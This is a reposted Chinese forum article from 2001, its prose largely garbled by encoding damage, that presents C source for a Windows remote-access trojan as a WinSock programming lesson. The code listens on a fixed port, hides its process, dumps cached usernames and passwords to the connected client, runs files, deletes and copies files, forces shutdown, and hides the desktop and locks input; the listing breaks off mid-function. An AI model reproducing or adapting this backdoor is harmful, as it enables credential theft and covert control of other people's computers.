一个简单木马列子--可能并不很简单（转者加）

 

<script language=javascript> </script> [ID£º7221] Ö÷Ì⣺°³Ð´µÄÒ»¸ö¼òµ¥Ä¾Âí

     [ ת·¢Ìû×Ó »Ø¸´´ËÌû Ïà¹ØÌû×Ó ]

---

²¡¶¾ ÓÚ 2001-05-20 19:16:04 ¼ÓÌùÔÚ ±à³ÌÀÖÔ° ÉÏ

---

ÄÚÈÝ£¨49185bytes£©:

• Ò»¸ö¼òµ¥Ä¾ÂíÁÐ×Ó
  
  ×÷Õß:²¡¶¾ ·¢±íÓÚ ÂÌÉ«±øÍÅ
  
  °³Ð´ÎÄÕÂÒ»°ã¶¼¸³Ô´´úÂë.³ý¹Ø¼ü²¿·ÖÍâÏòÀ´²»°®´òÌ«¶à˵Ã÷ÐÔÎÄ×Ö,ÒòΪ¾õµÃÕâÑù
  ²Å±È½Ïʵ¼Ê,¹ØÓÚÄÇЩº¯ÊýÓ÷¨ºÍ¹¦ÄÜ´ó¿ÉÒÔÈ¥·­Êé,ÄÄÀï½²µÄ±ÈË­¶¼Ïêϸ.
  
  ÕâÀï¸øÁËÒ»¸ö°³ÓÃÒì²½SOCKET·½Ê½, Ö±½Óµ÷ÓÃWINSOCK API,WIN SDKдµÄľÂí(VC,C++ BUILDERϾù±àÒë,µ÷ÊÔͨ¹ý),ÎÞÐë¿Í»§¶Ë,±àÒëºó²Å¼¸Ê®K.ʵÏÖÁËЩ Ö÷Òª¹¦ÄÜ,Îļþä¯ÀÀ,ÉÏ´«,ÏÂÔØ(¾ùÖ§³ÖͳÅä·û),¸Ä±äĿ¼,»ñȡϵͳÐÅÏ¢,´ÓCACHEÈ¡ÃÜÂë, Ö´ÐÐÎļþ,ÏÔʾ½ø³Ì, ·¢ËÍÏûÏ¢,¹Ø»ú, »¹ÓÐЩ¿ØÖƹ¦ÄÜ, WIN 9X,NT/2000Ͼù ¿ÉʹÓÃ,ÔÚNT,2000ÏÂ,Òò¿¼Âǵ½ÈçCMD.EXEÒѸÄÃû»ò²»´æÔÚ,ÄÇô³ÌÐò ½«ºÁÎÞÓô¦. ËùÒÔ ²¢Ã»Óе÷ÓÃCMD.EXEÀ´Íê³É,È«²¿ÓÉ×Ô¼ºÀ´×ö,WIN APIʵÏÖ.ÒªÏë×Ô¼º³ÌÐòͨÓþͲ»ÒªÅ Âé·³.½¨ÒéÄÇЩÓÃÏֳɿؼþдľÂíºÍÍøÂçͨѶµÄÅóÓÑÓ¦¸Ã¿´¿´,È¥ÊìϤÕâЩ¸ù±¾ËùÔÚ, ÓÈÆäÊÇÔÚÍøÂç ͨѶ·½Ãæ.Èç¹ûÄãÊǸö³ÌÐòÔ± ÎÒÏë´ó¿É²»±ØÓÃÎÒ¶à˵,ÔÚ¿ª·¢Öа³»¹Ã»¼û¹ýÄļҹ«Ë¾Èà ÓÃÏÖ³ÉÀà (MFC,VCL)À´×öµÄ.
  
  ´Ë³ÌÐò»¹²»ºÜ½¡×³,дÍêºóҲûÀ´µÄ¼°ÓÅ»¯,Ö÷ÒªÊÇÄÃÀ´Èôó¼ÒÊìϤһÏÂWINSOCKºÍWIN SDK±à³Ì.
  
  
  //---------------------------------------------------------------------------
  // WINSOCK API,WIN SDK±à³Ì,ÎÞÐè¿Í»§¶Ë
  //
  // ×÷Õß: ¼Ö¼Ñ
  //---------------------------------------------------------------------------
  
  #include <windows.h>
  #include <winsock.h>
  #include <mmsystem.h>
  #pragma hdrstop
  #include <condefs.h>
  #pragma argsused
  
  #define RUN "//WinMon32.exe"
  
  //×¢²á·þÎñ
  #define SERVICE_PROC 1
  //жÔØ·þÎñ
  #define UNSERVICE_PROC 0
  
  #define TH32CS_SNAPPROCESS 0x00000002
  #define PROCESS_HANDLE_NAME 255
  
  //»º³åÇø³¤¶È
  #define dwBuffSize 2048
  //ÃüÁîÐ㤶È
  #define dwComm 50
  #define PORT 9102
  #define WM_SOCKET WM_USER+1
  #define PROMPT "LanLan://>"
  
  DWORD dwVersion=MAKEWORD(1,1);
  DWORD dwFlag=TRUE;
  WSADATA wsaData;
  SOCKET CreateSock,NewSock;
  SOCKADDR_IN Sock_in,NewSock_in;
  LPTSTR szReadBuff,Ob,TempBuff;
  int addrlen;
  
  //CACHE PASSWORD½á¹¹
  typedef struct tagPASSWORD_CACHE_ENTRY {
  WORD cbEntry;
  WORD cbResource;
  WORD cbPassword;
  BYTE iEntry;
  BYTE nType;
  char abResource[1];
  } PASSWORD_CACHE_ENTRY;
  
  typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD);
  
  //CACHE PASSWORDº¯ÊýÔ­ÐÎ
  typedef WORD (WINAPI *PWNetEnumCachedPasswords)(
  LPSTR pbPrefix,
  DWORD cbPrefix,
  DWORD nType,
  CACHECALLBACK pfnCallback,
  DWORD UNKNOWN
  );
  
  //TOOLHELP32 ½á¹¹
  typedef struct tagPROCESSENTRY32
  {
  DWORD dwSize;
  DWORD cntUsage;
  DWORD th32ProcessID;
  DWORD th32DefaultHeapID;
  DWORD th32ModuleID;
  DWORD cntThreads;
  DWORD th32ParentProcessID;
  LONG pcPriClassBase;
  DWORD dwFlags;
  TCHAR szExeFile[MAX_PATH];
  } PROCESSENTRY32;
  
  typedef PROCESSENTRY32 * LPPROCESSENTRY32;
  
  //¶¨ÒåTOOLHELP32,PSAPIº¯ÊýÖ¸Õë
  HANDLE (WINAPI *CreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32PD);
  BOOL (WINAPI *Process32First)(HANDLE hSnapshot,LPPROCESSENTRY32 pe);
  BOOL (WINAPI *Process32Next)(HANDLE hSnapshot,LPPROCESSENTRY32 pe);
  BOOL (WINAPI *EnumProcesses)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded);
  DWORD (WINAPI *GetModuleFileNameExA)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize);
  
  HINSTANCE DLLInst;
  DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD);
  
  //---------------------------------------------------------------------------
  // GetOS
  // ÅжϲÙ×÷ϵͳ
  //---------------------------------------------------------------------------
  
  DWORD WINAPI GetOS()
  {
  OSVERSIONINFO os;
  TCHAR sVersion[MAX_PATH];
  
  os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
  GetVersionEx(&os);
  switch(os.dwPlatformId)
  {
  case VER_PLATFORM_WIN32_WINDOWS:
  return VER_PLATFORM_WIN32_WINDOWS;
  
  case VER_PLATFORM_WIN32_NT:
  return VER_PLATFORM_WIN32_NT;
  }
  }
  
  //---------------------------------------------------------------------------
  // HideProc
  // ×¢²á½ø³Ì
  //---------------------------------------------------------------------------
  
  BOOL WINAPI HideProc(int mode)
  {
  DLLInst=LoadLibrary("KERNEL32.DLL");
  if(DLLInst)
  {
  RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))
  GetProcAddress(DLLInst,"RegisterServiceProcess");
  if(RegisterServiceProcess)
  {
  RegisterServiceProcess(GetCurrentProcessId(),mode);
  return TRUE;
  }
  else
  return FALSE;
  }
  else return FALSE;
  }
  
  //---------------------------------------------------------------------------
  // EnumProcess
  // ö¾Ù½ø³Ì
  //---------------------------------------------------------------------------
  
  //³õʼ»¯TOOLHELP32
  BOOL InitToolHelp32()
  {
  HINSTANCE DLLinst=LoadLibrary("KERNEL32.DLL");
  if(DLLinst)
  {
  CreateToolhelp32Snapshot=(HANDLE(WINAPI *)(DWORD dwFlags,DWORD th32PD))
  GetProcAddress(DLLinst,"CreateToolhelp32Snapshot");
  Process32First=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe))
  GetProcAddress(DLLinst,"Process32First");
  Process32Next=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe))
  GetProcAddress(DLLinst,"Process32Next");
  if((!(UINT)CreateToolhelp32Snapshot)||(!(UINT)Process32First)||(!(UINT)Process32Next))
  return FALSE;
  else
  return TRUE;
  }
  return FALSE;
  }
  
  //³õʼ»¯PSAPI
  BOOL InitPSAPI()
  {
  HINSTANCE PSAPI=LoadLibrary("PSAPI.DLL");
  if(NULL==PSAPI)
  return FALSE;
  EnumProcesses=(BOOL(WINAPI *)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded))
  GetProcAddress(PSAPI,"EnumProcesses");
  GetModuleFileNameExA=(DWORD(WINAPI *)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize))
  GetProcAddress(PSAPI,"GetModuleFileNameExA");
  if(NULL == EnumProcesses||NULL == GetModuleFileName)
  return FALSE;
  else
  return TRUE;
  }
  
  
  VOID WINAPI EnumProcess()
  {
  HANDLE process[255];
  PROCESSENTRY32 p32;
  DWORD process_ids[255];
  DWORD num_processes;
  TCHAR file_name[MAX_PATH];
  TCHAR szTemp[MAX_PATH];
  unsigned i;
  
  wsprintf(szTemp,"/n/n/r << Process File Name >>/n/n/r");
  send(NewSock,szTemp,lstrlen(szTemp),0);
  
  switch(GetOS())
  {
  case VER_PLATFORM_WIN32_WINDOWS:
  if(InitToolHelp32())
  {
  p32.dwSize=sizeof(PROCESSENTRY32);
  HANDLE pName=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
  BOOL Next=Process32First(pName,&p32);
  i=0;
  while(Next)
  {
  wsprintf(szTemp,"Process FileName :%s /n/r",p32.szExeFile);
  send(NewSock,szTemp,lstrlen(szTemp),0);
  process[i]=OpenProcess(PROCESS_TERMINATE,0,p32.th32ProcessID);
  Next=Process32Next(pName,&p32);
  i++;
  }
  CloseHandle(pName);
  }
  break;
  
  case VER_PLATFORM_WIN32_NT:
  if(InitPSAPI())
  {
  EnumProcesses(process_ids,sizeof(process_ids),&num_processes);
  for(i=0; i<num_processes; i++)
  {
  process[i]=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ
  ,0,process_ids[i]);
  if(GetModuleFileNameExA(process[i],NULL,file_name,sizeof(file_name)))
  wsprintf(szTemp,"Process FileName :%s /n/r",file_name);
  send(NewSock,szTemp,lstrlen(szTemp),0);
  }
  CloseHandle(process);
  }
  break;
  }
  
  
  }
  
  
  //---------------------------------------------------------------------------
  // GetCachePW
  // È¡CACHEÃÜÂë
  //---------------------------------------------------------------------------
  
  BOOL CALLBACK GetPass(PASSWORD_CACHE_ENTRY *pce,DWORD)
  {
  MoveMemory(szReadBuff,pce->abResource,pce->cbResource);
  szReadBuff[pce->cbResource]=0;
  CharToOem(szReadBuff,Ob);
  wsprintf(TempBuff,"/n/n/r (USERNAME): %s /n/r (PASSWORD): ",Ob);
  MoveMemory(szReadBuff,pce->abResource+pce->cbResource,pce->cbPassword);
  szReadBuff[pce->cbPassword]=0;
  CharToOem(szReadBuff,Ob);
  lstrcat(TempBuff,Ob);
  send(NewSock,TempBuff,dwBuffSize,0);
  
  return TRUE;
  }
  
  BOOL WINAPI GetCachePW()
  {
  TCHAR szTemp[MAX_PATH];
  
  PWNetEnumCachedPasswords WNetEnumCachedPasswords;
  HINSTANCE DLLinst=LoadLibrary("MPR.DLL");
  if(!DLLinst)
  {
  return FALSE;
  }
  
  wsprintf(szTemp,"/n/n/r << Win 9x Cache Password >>/n/r");
  send(NewSock,szTemp,lstrlen(szTemp),0);
  
  WNetEnumCachedPasswords=(PWNetEnumCachedPasswords)
  GetProcAddress(DLLinst,"WNetEnumCachedPasswords");
  if(!WNetEnumCachedPasswords)
  {
  return FALSE;
  }
  else
  {
  szReadBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);
  Ob=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);
  TempBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);
  WNetEnumCachedPasswords(0,0,0xff,GetPass,0);
  HeapFree(GetProcessHeap(),dwBuffSize,szReadBuff);
  HeapFree(GetProcessHeap(),dwBuffSize,Ob);
  HeapFree(GetProcessHeap(),dwBuffSize,TempBuff);
  FreeLibrary(DLLinst);
  }
  return TRUE;
  }
  
  //---------------------------------------------------------------------------
  // LoadProcess
  // Ö´ÐÐÎļþ
  //---------------------------------------------------------------------------
  
  BOOL WINAPI LoadProcess(LPCTSTR szFileName)
  {
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  
  ZeroMemory(&si,sizeof(STARTUPINFO));
  ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
  si.cb=sizeof(STARTUPINFO);
  si.dwFlags=STARTF_USESHOWWINDOW;
  si.wShowWindow=SW_SHOWNORMAL;
  
  if(CreateProcess(szFileName,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)==FALSE)
  {
  return FALSE;
  }
  return TRUE;
  }
  
  //---------------------------------------------------------------------------
  // Dir
  // ä¯ÀÀÎļþ,Ö§³ÖͳÅä·û
  //---------------------------------------------------------------------------
  
  VOID WINAPI Dir(LPCTSTR lParam)
  {
  WIN32_FIND_DATA wfd;
  HANDLE hHandle;
  TCHAR szFileName[MAX_PATH];
  int i;
  
  wsprintf(szFileName,"/n/n/r");
  send(NewSock,szFileName,lstrlen(szFileName),0);
  
  lstrcpy(szFileName,lParam);
  
  if((hHandle=FindFirstFile(szFileName,&wfd))!=INVALID_HANDLE_VALUE)
  {
  do
  {
  switch(wfd.dwFileAttributes)
  {
  case FILE_ATTRIBUTE_ARCHIVE:
  if(wfd.nFileSizeHigh==0)
  wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeLow);
  else
  wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
  send(NewSock,szFileName,lstrlen(szFileName),0);
  break;
  case FILE_ATTRIBUTE_DIRECTORY:
  wsprintf(szFileName,"%-20s %10lu <DIR>/n/r",wfd.cFileName,wfd.nFileSizeLow);
  send(NewSock,szFileName,lstrlen(szFileName),0);
  break;
  case FILE_ATTRIBUTE_HIDDEN:
  if(wfd.nFileSizeHigh==0)
  wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeLow);
  else
  wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
  send(NewSock,szFileName,lstrlen(szFileName),0);
  break;
  case FILE_ATTRIBUTE_READONLY:
  if(wfd.nFileSizeHigh==0)
  wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeLow);
  else
  wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
  send(NewSock,szFileName,lstrlen(szFileName),0);
  break;
  case FILE_ATTRIBUTE_SYSTEM:
  if(wfd.nFileSizeHigh==0)
  wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeLow);
  else
  wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);
  send(NewSock,szFileName,lstrlen(szFileName),0);
  break;
  }
  }while(FindNextFile(hHandle,&wfd));
  }
  else
  {
  wsprintf(szFileName,"Can not find directory or files./n/r");
  send(NewSock,szFileName,lstrlen(szFileName),0);
  }
  }
  
  //---------------------------------------------------------------------------
  // FileOpertion
  // Îļþ²Ù×÷º¯Êý
  //---------------------------------------------------------------------------
  
  BOOL WINAPI FileOpertion(LPCTSTR szFileName1,LPCTSTR szFileName2,DWORD opt)
  {
  SHFILEOPSTRUCT shf;
  TCHAR sr[MAX_PATH];
  TCHAR de[MAX_PATH];
  
  lstrcpy(sr,szFileName1);
  sr[lstrlen(sr)+1]='/0';
  lstrcpy(de,szFileName2);
  de[lstrlen(de)+1]='/0';
  
  ZeroMemory(&shf,sizeof(shf));
  shf.hwnd=NULL;
  shf.wFunc=opt;
  shf.pFrom=sr;
  shf.pTo=de;
  shf.fFlags=FOF_ALLOWUNDO|FOF_SILENT|FOF_FILESONLY|FOF_MULTIDESTFILES
  |FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR;
  
  if(SHFileOperation(&shf))
  return FALSE;
  else
  return TRUE;
  }
  
  //---------------------------------------------------------------------------
  // Delete
  // ɾ³ýÎļþ(Òþ²Ø,Ö»¶Á),Ŀ¼,Ö§³ÖͳÅä·û
  //---------------------------------------------------------------------------
  
  VOID WINAPI Delete(LPCTSTR lParam)
  {
  if(!FileOpertion(lParam,"",FO_DELETE))
  send(NewSock,"Delete File is Fail",20,0);
  else
  send(NewSock,"Delete File is OK",17,0);
  }
  
  //---------------------------------------------------------------------------
  // Copy
  // ¸´ÖÆ,ÉÏ´«,ÏÂÔØÎļþ(ÐèÏȽ«×Ô¼ºÓ²ÅÌÉèÖÃΪÍêÈ«¹²Ïí),Ö§³ÖͳÅä·û
  //---------------------------------------------------------------------------
  
  VOID WINAPI Copy(LPCTSTR lParam1,LPCTSTR lParam2)
  {
  if(!FileOpertion(lParam1,lParam2,FO_COPY))
  send(NewSock,"Copy File is Fail",18,0);
  else
  send(NewSock,"Copy File is OK",15,0);
  }
  
  //---------------------------------------------------------------------------
  // Ren
  // Îļþ,Ŀ¼ÖØÃüÃû
  //---------------------------------------------------------------------------
  
  VOID WINAPI Ren(LPCTSTR lParam1,LPCTSTR lParam2)
  {
  if(!FileOpertion(lParam1,lParam2,FO_RENAME))
  send(NewSock,"Renname File is Fail",21,0);
  else
  send(NewSock,"Reanme File is OK",18,0);
  }
  
  //---------------------------------------------------------------------------
  // GetSysInfo
  // »ñȡϵͳÐÅÏ¢
  //---------------------------------------------------------------------------
  
  VOID WINAPI GetSysInfo()
  {
  TCHAR szBuff[MAX_PATH];
  TCHAR szTemp[MAX_PATH];
  
  
  wsprintf(szBuff,"/n/n/r<<System Information>>/n/n/r");
  send(NewSock,szBuff,lstrlen(szBuff),0);
  
  //¼ÆËã»úÃû
  DWORD len=sizeof(szTemp);
  GetComputerName(szTemp,&len);
  wsprintf(szBuff,"Computer Name: %s/n/n/r",szTemp);
  send(NewSock,szBuff,lstrlen(szBuff),0);
  
  //µ±Ç°²Ù×÷ϵͳ
  switch(GetOS())
  {
  case VER_PLATFORM_WIN32_WINDOWS:
  lstrcpy(szTemp,"Windows 9x");
  break;
  case VER_PLATFORM_WIN32_NT:
  lstrcpy(szTemp,"Windows NT/2000");
  break;
  }
  wsprintf(szBuff,"Option System: %s/n/n/r",szTemp);
  send(NewSock,szBuff,lstrlen(szBuff),0);
  
  //ÄÚ´æÈÝÁ¿
  MEMORYSTATUS mem;
  mem.dwLength=sizeof(mem);
  GlobalMemoryStatus(&mem);
  wsprintf(szBuff,"Total Memroy: %dM/n/n/r",mem.dwTotalPhys/1024/1024+1);
  send(NewSock,szBuff,lstrlen(szBuff),0);
  
  //ϵͳĿ¼
  TCHAR szPath[MAX_PATH];
  GetWindowsDirectory(szTemp,sizeof(szTemp));
  GetSystemDirectory(szBuff,sizeof(szBuff));
  wsprintf(szPath,"Windows Directory: %s/n/n/rSystem Directory: %s/n/n/r",szTemp,szBuff);
  send(NewSock,szPath,lstrlen(szPath),0);
  
  //Çý¶¯Æ÷¼°·ÖÇøÀàÐÍ
  TCHAR szFileSys[10];
  
  for(int i=0;i<26;++i)
  {
  wsprintf(szTemp,"%c://",'A'+i);
  UINT uType=GetDriveType(szTemp);
  switch(uType)
  {
  case DRIVE_FIXED:
  GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
  wsprintf(szBuff,"Hard Disk: %s (%s)/n/n/r",szTemp,szFileSys);
  send(NewSock,szBuff,lstrlen(szBuff),0);
  break;
  case DRIVE_CDROM:
  wsprintf(szBuff,"CD-ROM Disk: %s/n/n/r",szTemp);
  send(NewSock,szBuff,lstrlen(szBuff),0);
  break;
  case DRIVE_REMOTE:
  GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
  wsprintf(szBuff,"NetWork Disk: %s (%s)/n/n/r",szTemp,szFileSys);
  send(NewSock,szBuff,lstrlen(szBuff),0);
  break;
  }
  }
  
  }
  
  //---------------------------------------------------------------------------
  // ExitWin
  // ¹Ø±Õ¼ÆËã»ú(WIN 9X,NT/2000)
  //---------------------------------------------------------------------------
  
  VOID WINAPI ExitWin()
  {
  DWORD dwVer;
  HANDLE hProcess, hToken;
  TOKEN_PRIVILEGES NewState;
  DWORD ProcessId, ReturnLength = 0;
  LUID luidPrivilegeLUID;
  
  dwVer=GetOS();
  if(dwVer==VER_PLATFORM_WIN32_WINDOWS)
  ExitWindowsEx(1,0);
  
  else if(dwVer==VER_PLATFORM_WIN32_NT)
  {
  ProcessId = GetCurrentProcessId();
  hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
  OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
  LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);
  
  NewState.PrivilegeCount = 1;
  NewState.Privileges[0].Luid = luidPrivilegeLUID;
  NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  
  if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
  ExitWindowsEx(EWX_FORCE|EWX_POWEROFF,0);
  }
  }
  
  //---------------------------------------------------------------------------
  // CtrlCD
  // ¹âÇý¿ØÖÆ
  //---------------------------------------------------------------------------
  
  VOID WINAPI CtrlCD(HWND hWnd,BOOL Ctrl)
  {
  switch(Ctrl)
  {
  case TRUE:
  mciSendString("Set cdaudio door open wait",NULL,0,hWnd);
  break;
  case FALSE:
  mciSendString("Set cdaudio door closed wait",NULL,0,hWnd);
  break;
  }
  }
  
  //---------------------------------------------------------------------------
  // PopMsg
  // ·¢ËÍÏûÏ¢
  //---------------------------------------------------------------------------
  
  VOID WINAPI PopMsg(LPCTSTR message,HWND hWnd)
  {
  MessageBox(hWnd,message,"PopMsg",MB_OK);
  }
  
  //---------------------------------------------------------------------------
  // ChangeDir
  // ¸Ä±äµ±Ç°Ä¿Â¼
  //---------------------------------------------------------------------------
  
  BOOL WINAPI ChangeDir(LPCTSTR szDir)
  {
  if(SetCurrentDirectory(szDir))
  return TRUE;
  else
  return FALSE;
  }
  
  //---------------------------------------------------------------------------
  // GetCurPath
  // µÃµ½µ±Ç°Ä¿Â¼
  //---------------------------------------------------------------------------
  
  VOID WINAPI GetCurPath()
  {
  TCHAR lpBuff[MAX_PATH];
  TCHAR szTemp[MAX_PATH];
  
  GetCurrentDirectory(MAX_PATH,lpBuff);
  wsprintf(szTemp,"CurrentDirect: %s/n/r",lpBuff);
  send(NewSock,szTemp,lstrlen(szTemp),0);
  }
  
  //---------------------------------------------------------------------------
  // HSSys
  // ÏÔʾ,Òþ²Ø×ÀÃæ,ÈÎÎñÀ¸
  //---------------------------------------------------------------------------
  
  VOID WINAPI HSSys(HWND hWnd,BOOL Ctrl)
  {
  switch(Ctrl)
  {
  case FALSE:
  hWnd=FindWindow("Progman",NULL);
  ShowWindow(hWnd,SW_HIDE);
  hWnd=FindWindow("Shell_TrayWnd",NULL);
  ShowWindow(hWnd,SW_HIDE);
  break;
  case TRUE:
  hWnd=FindWindow("Progman",NULL);
  ShowWindow(hWnd,SW_SHOW);
  hWnd=FindWindow("Shell_TrayWnd",NULL);
  ShowWindow(hWnd,SW_SHOW);
  break;
  }
  }
  
  //---------------------------------------------------------------------------
  // LockMK
  // Ëø¶¨Êó±ê,¹¦Äܼü
  //---------------------------------------------------------------------------
  
  VOID WINAPI LockMK(BOOL Ctrl)
  {
  RECT rc;
  switch(Ctrl)
  {
  case TRUE:
  ZeroMemory(&rc,sizeof(rc));
  ClipCursor(&rc);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING,TRUE,NULL,0);
  SystemParametersInfo(SPI_SETFASTTASKSWITCH,TRUE,NULL,0);
  break;
  case FALSE:
  ClipCursor(NULL);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING,FALSE,NULL,0);
  SystemParametersInfo(SPI_SETFASTTASKSWITCH,FALSE,NULL,0);
  break;
  }
  }
  
  //---------------------------------------------------------------------------
  // ExeCommand
  // Ö´ÐÐÃüÁî
  //---------------------------------------------------------------------------
  
  VOID ExeCommand(LPCTSTR szCommand,HWND hWnd)
  {
  TCHAR szBuf[MAX_PATH];
  TCHAR Param1[100];
  TCHAR Param2[100];
  int i;
  
  if((lstrcmp(szCommand,"getpw"))==0)
  GetCachePW();
  
  else if((lstrcmp(szCommand,"getinfo"))==0)
  GetSysInfo();
  
  else if((lstrcmp(szCommand,"gcpath"))==0)
  GetCurPath();
  
  else if((lstrcmp(szCommand,"opencd"))==0)
  CtrlCD(hWnd,TRUE);
  
  else if((lstrcmp(szCommand,"closecd"))==0)
  CtrlCD(hWnd,FALSE);
  
  else if((lstrcmp(szCommand,"showsys"))==0)
  HSSys(hWnd,TRUE);
  
  else if((lstrcmp(szCommand,"hidesys"))==0)
  HSSys(hWnd,FALSE);
  
  else if((lstrcmp(szCommand,"lockmk"))==0)
  LockMK(TRUE);
  
  else if((lstrcmp(szCommand,"unlock"))==0)
  LockMK(FALSE);
  
  else if((lstrcmp(szCommand,"dproc"))==0)
  EnumProcess();
  
  else if((lstrcmp(szCommand,"exitwin"))==0)
  ExitWin();
  
  else if((strncmp(szCommand,"popmsg",lstrlen("popmsg")))==0)
  {
  if(lstrlen(szCommand)<=lstrlen("popmsg")+2)
  {
  send(NewSock,"usage : popmsg Message",28,0);
  }
  for(i=lstrlen("popmsg")+1;i<lstrlen(szCommand);i++)
  if(szCommand[i]==' ')break;
  if(i==lstrlen(szCommand))
  {
  lstrcpy(Param1,szCommand+lstrlen("popmsg")+1);
  PopMsg(Param1,hWnd);
  }
  }
  
  else if((strncmp(szCommand,"execfile",lstrlen("execfile")))==0)
  {
  if(lstrlen(szCommand)<=lstrlen("execfile")+2)
  {
  send(NewSock,"usage : execfile szFileName",28,0);
  }
  for(i=lstrlen("execfile")+1;i<lstrlen(szCommand);i++)
  if(szCommand[i]==' ')break;
  if(i==lstrlen(szCommand))
  {
  lstrcpy(Param1,szCommand+lstrlen("execfile")+1);
  if(LoadProcess(Param1)==FALSE)
  send(NewSock,"execfile Fail",14,0);
  else
  send(NewSock,"execfile OK",11,0);
  }
  }
  
  else if((strncmp(szCommand,"cd",lstrlen("cd")))==0)
  {
  if(lstrlen(szCommand)<=lstrlen("cd")+2)
  {
  send(NewSock,"cd Drive//Directory",19,0);
  }
  for(i=lstrlen("cd")+1;i<lstrlen(szCommand);i++)
  if(szCommand[i]==' ')break;
  if(i==lstrlen(szCommand))
  {
  lstrcpy(Param1,szCommand+lstrlen("cd")+1);
  if(ChangeDir(Param1)==FALSE)
  send(NewSock,"Change Directory Fail",21,0);
  else
  send(NewSock,"Change Directory OK",19,0);
  }
  }
  
  else if((strncmp(szCommand,"dir",lstrlen("dir")))==0)
  {
  if(lstrlen(szCommand)<=lstrlen("dir")+2)
  {
  Dir("*.*");
  }
  for(i=lstrlen("dir")+1;i<lstrlen(szCommand);i++)
  if(szCommand[i]==' ')break;
  if(i==lstrlen(szCommand))
  {
  lstrcpy(Param1,szCommand+lstrlen("dir")+1);
  Dir(Param1);
  }
  }
  
  else if((strncmp(szCommand,"del",lstrlen("del")))==0)
  {
  if(lstrlen(szCommand)<=lstrlen("del")+2)
  {
  send(NewSock,"usage : DEL szFileName",28,0);
  }
  for(i=lstrlen("del")+1;i<lstrlen(szCommand);i++)
  if(szCommand[i]==' ')break;
  if(i==lstrlen(szCommand))
  {
  lstrcpy(Param1,szCommand+lstrlen("del")+1);
  Delete(Param1);
  }
  }
  
  else if((strncmp(szCommand,"copy",lstrlen("copy")))==0)
  {
  if(lstrlen(szCommand)<=lstrlen("COPY")+2)
  {
  send(NewSock,"usage : COPY Drive//Filename ",28,0);
  return;
  }
  for(i=lstrlen("copy")+1;i<lstrlen(szCommand);i++)
  if(szCommand[i]==' ')break;
  if(i==lstrlen(szCommand))
  {
  lstrcpy(Param1,szCommand+lstrlen("copy")+1);
  lstrcpy(Param2,"");
  send(NewSock,"Copy File1 to File2",19,0);
  }
  else
  {
  lstrcpy(szBuf,szCommand);
  szBuf[i]=0;
  lstrcpy(Param1,szBuf+lstrlen("copy")+1);
  lstrcpy(Param2,szBuf+i+1);
  Copy(Param1,Param2);
  }
  }
  
  else if((strncmp(szCommand,"ren",lstrlen("ren")))==0)
  {
  if(lstrlen(szCommand)<=lstrlen("ren")+2)
  {
  send(NewSock,"usage : REN Drive//Filename ",28,0);
  return;
  }
  for(i=lstrlen("ren")+1;i<lstrlen(szCommand);i++)
  if(szCommand[i]==' ')break;
  if(i==lstrlen(szCommand))
  {
  lstrcpy(Param1,szCommand+lstrlen("ren")+1);
  lstrcpy(Param2,"");
  send(NewSock,"Ren File1 to File2",19,0);
  }
  else
  {
  lstrcpy(szBuf,szCommand);
  szBuf[i]=0;
  lstrcpy(Param1,szBuf+lstrlen("ren")+1);
  lstrcpy(Param2,szBuf+i+1);
  Ren(Param1,Param2);
  }
  }
  
  else
  send(NewSock,"Bad Command !!!",16,0);
  }
  
  //---------------------------------------------------------------------------
  // InitSocket
  // ³õʼ»¯SOCKET
  //--------------------------------------------------------------------------
  
  BOOL WINAPI InitSocket(HWND hWnd)
  {
  if((WSAStartup(dwVersion,&wsaData))!=0)
  {
  MessageBox(hWnd,"INIT SOCKET ERROR",NULL,MB_OK);
  return FALSE;
  }
  
  CreateSock=socket(AF_INET,SOCK_STREAM,0);
